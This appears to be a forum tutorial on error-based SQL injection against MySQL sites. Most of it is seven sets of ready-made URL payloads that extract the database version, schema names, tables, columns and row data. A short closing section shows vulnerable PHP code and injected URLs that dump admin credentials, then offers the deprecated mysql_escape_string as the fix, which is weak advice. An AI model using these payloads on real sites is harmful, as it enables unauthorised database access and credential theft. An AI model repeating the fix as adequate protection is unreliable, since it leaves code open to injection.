Error Based SQL Injection Guide

As you may know, there are several different methods of Error Based Injection. I know there's been a few tutorials lately, but I always love showing you guys something new. I'm going to be going over a few different queries you can use.

Method 1

Let's start with some Double Query.

Version

+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(version()+as+char),0x7e))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

Tables

[code]+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(table_name+as+char),0x7e))+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)[/code]

You can change the table schema to get the tables out of your specified database by converting your DB name to hex and using the following query.

+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(table_name+as+char),0x7e))+from+information_schema.tables+where+table_schema=0xDATABASEHEX+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

Getting The Database Names

+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(schema_name+as+char),0x7e))+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

Columns

+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(column_name+as+char),0x7e))+from+information_schema.columns+where+table_name=0xTABLEHEX+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

Data

+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(concat(COLUMN1,0x7e,COLUMN2)+as+char),0x7e))+from+TABLENAME+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

To get data out of a different database, use this query.

+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(concat(COLUMN1,0x7e,COLUMN2)+as+char),0x7e))+from+DATABASENAME.TABLENAME+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

Method 2

This is standard Error Based Injection.

Version

+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1--

Tables

+or+1+group+by+concat_ws(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1--

The same rules apply, you can get the tables out of a different database by changing the schema.

+or+1+group+by+concat_ws(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=0xDATABASEHEX+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1--

Columns

+or+1+group+by+concat_ws(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0xTABLENAME+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1--

Getting Data From The Columns

+or+1+group+by+concat_ws(0x7e,(select+concat(COLUMN1,0x7e,COLUMN2)+from+TABLENAME+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1--

Method 3

These here are harder methods of error based, that you shouldn't go into unless the ones above don't work.

Tables

+and+(select+count(*)+from+(select+1+union+select+null+union+select+!1)x+group+by+concat((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2)))--

Columns

+and+(select+count(*)+from+(select+1+union+select+null+union+select+!1)x+group+by+concat((select+column_name+from+information_schema.columns+where+table_name=0xTABLEHEX+limit+0,1),floor(rand(0)*2)))--

Data

+and+(select+count(*)+from+(select+1+union+select+null+union+select+!1)x+group+by+concat((select+concat(COLUMN1,0x7e,COLUMN2)+from+TABLENAME+limit+0,1),floor(rand(0)*2)))--

Method 4

Here's another method that's not very common.

Tables
parameter[]=(@:=1)||@+group+by+concat((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),0x7e,!@)+having+@||min(@:=0)--

Columns
parameter[]=(@:=1)||@+group+by+concat((select+column_name+from+information_schema.columns+where+table_name=0xTABLEHEX+limit+0,1),0x7e,!@)+having+@||min(@:=0)--

Data
parameter[]=(@:=1)||@+group+by+concat((select+concat(COLUMN1,0x7e,COLUMN2)+from+TABLENAME+limit+0,1),0x7e,!@)+having+@||min(@:=0)--

Method 5

Another method, pretty basic.

Tables
+and+(select+1+from+(select+count(*),concat(floor(rand(0)*2),0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1))x+from+information_schema.tables+group+by+x)a)--

Columns
+and+(select+1+from+(select+count(*),concat(floor(rand(0)*2),0x7e,(select+column_name+from+information_schema.columns+where+table_name=0xTABLEHEX+limit+0,1))x+from+information_schema.tables+group+by+x)a)--

Data
+and+(select+1+from+(select+count(*),concat(floor(rand(0)*2),0x7e,(select+concat(COLUMN1,0x7e,COLUMN2)+from+TABLENAME+limit+0,1))x+from+information_schema.tables+group+by+x)a)--

Method 6

Here's another method, I don't see it used much.

Tables
+and+row(1,1)>(select+count(*),concat((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),0x7e,floor(rand(0)*2))x+from+(select+1+union+select+null+union+select+!1)x group+by+x+limit+0,1)--

Columns
+and+row(1,1)>(select+count(*),concat((select+column_name+from+information_schema.columnes+where+table_name=0xTABLEHEX+limit+0,1),0x7e,floor(rand(0)*2))x+from+(select+1+union+select+null+union+select+!1)x group+by+x+limit+0,1)--

Data
+and+row(1,1)>(select+count(*),concat((select+concat(COLUMN1,0x7e,COLUMN2)+from+TABLENAME+limit+0,1),0x7e,floor(rand(0)*2))x+from+(select+1+union+select+null+union+select+!1)x group+by+x+limit+0,1)--

Method 7

Here's another method using Sub Selects Subselects w/ Aliases

+and+(select+*+from+(select+*+from+information_schema.tables+join+information_schema.tables+x)a)--

Duplicate column name 'TABLE_CATALOG'


This will work almost as a limit, getting you column names one by one.

+and+(select+*+from+(select+*+from+TABLENAME+as+x+join+TABLENAME+y+using+(COLUMN_NAME))as+z)--

So mine looks like this..

+and+(select+*+from+(select+*+from+information_schema.tables+as+x+join+information_schema.tables+y+using+(TABLE_CATALOG))as+z)--

Duplicate column name 'TABLE_SCHEMA'


That's it for now, I'll try and update this when I learn more methods of error based injection.

Prevention of SQL Injection

This explanation will provide an insight on what goes on behind the scenes, rather than copy and pasting queries that make no sense to you.

Part 1: What is SQLi??

SQLi is short for SQL Injection. It's caused by attackers sending remote SQLqueries to the web server. These attackers have an opening when strings aren't properly escaped.

First off, let's take a look at some vulnerable code.

First off, in order to SELECT information to be displayed on a page, you need to establish a connection with the MySQL server.

connect.php

<?php
$host = "127.0.0.1"; // MySQL Host
$user = "root";  // MySQL User
$pass = "";  // MySQL Password
$db = "PHP";  // MySQL Database

$login = mysql_connect($host,$user,$pass); // Login using the variables above.

if ($login) {  /* If login is successful*/
mysql_select_db($db) /*Select the database given above*/
or die(mysql_error()); /*Cancel the page, showing an error as to what went wrong*/
} else { /*Or Else*/
echo "Error!"; /*Display a custom error message*/
}


This code here is not vulnerable, its simply a connection to the database.

Now this part is where the backdoor comes in.

<?php
include('connect.php') // Include the login configuration.

if(isset($_GET['id'])) { // If the $_GET request 'id' is set
$id = $_GET['id']; // Set a variable for the GET request
$sql = "SELECT * FROM news WHERE id='$id'"; // Set a query to send from the database requesting the $_GET parameter.
$query = mysql_query($sql) or die(mysql_error()); // Send the query, or show an MySQL error if something went wrong.
while ($row = mysql_fetch_array($query)) { // Set a variable for the row result
echo $row['title']; // Display the row 'title' from the database on the page.
}
}
?>

Now that we have all that understood, the target site will data using the $_GET parameter.
For example.

http://localhost/PHP/news.php?id=

This will return the selected row in my PHP code above, WHERE my id parameter is 1. (id is the first column in my news table).
Now everything will be normal, the data will echo on to the page with no problem. However, this allows an attacker to execute remote SQL queries via the $_GET parameter (id) due to not being escaped properly.

For example...

http://localhost/PHP/news.php?id=1' AND (1)=(1)-- x

The is changes the SQL query to the following:
$sql = "SELECT * FROM news WHERE id='1' AND (1)=(1)-- x"; // String Based Blind SQL Injection


http://localhost/PHP/news.php?id=1' AND EXTRACTVALUE(RAND(),CONCAT('~',version()))-- x
The new query becomes the following:

$sql = "SELECT * FROM news WHERE id='1' AND EXTRACTVALUE(RAND(),CONCAT(0x7e,version()))-- x";
XPATH syntax error: '~5.5.36'


This is critical, as you can see it allows users to be able to select information from your database.

http://localhost/PHP/news.php?id=1' DIV(0) UNION SELECT 1,CONCAT_WS('~',username,password),3 FROM admin LIMIT 0,1-- x

The query becomes the following:

$sql = "SELECT * FROM news WHERE id='1' DIV(0) UNION SELECT 1,CONCAT_WS('~',username,password),3 FROM admin LIMIT 0,1-- x";
admin~lol123 


Now theres tons of ways to prevent SQLInjection. Heres probably one of the easiest ways, using mysql_escape_string

<?php
function sanitize($data){
$data = mysql_escape_string(trim($data));
return $data;
}

if (isset($_GET['id'])){
$id = sanitize($_GET['id']);
$sql = "SELECT * FROM news WHERE id='$id'";
$query = mysql_query($sql) or die(mysql_error());

while ($row = mysql_fetch_array($query)){
echo $row['title'];
}
}
?>


Now your parameter is properly escaped. Thanks for taking the time to read. Hope you guys learned a few things.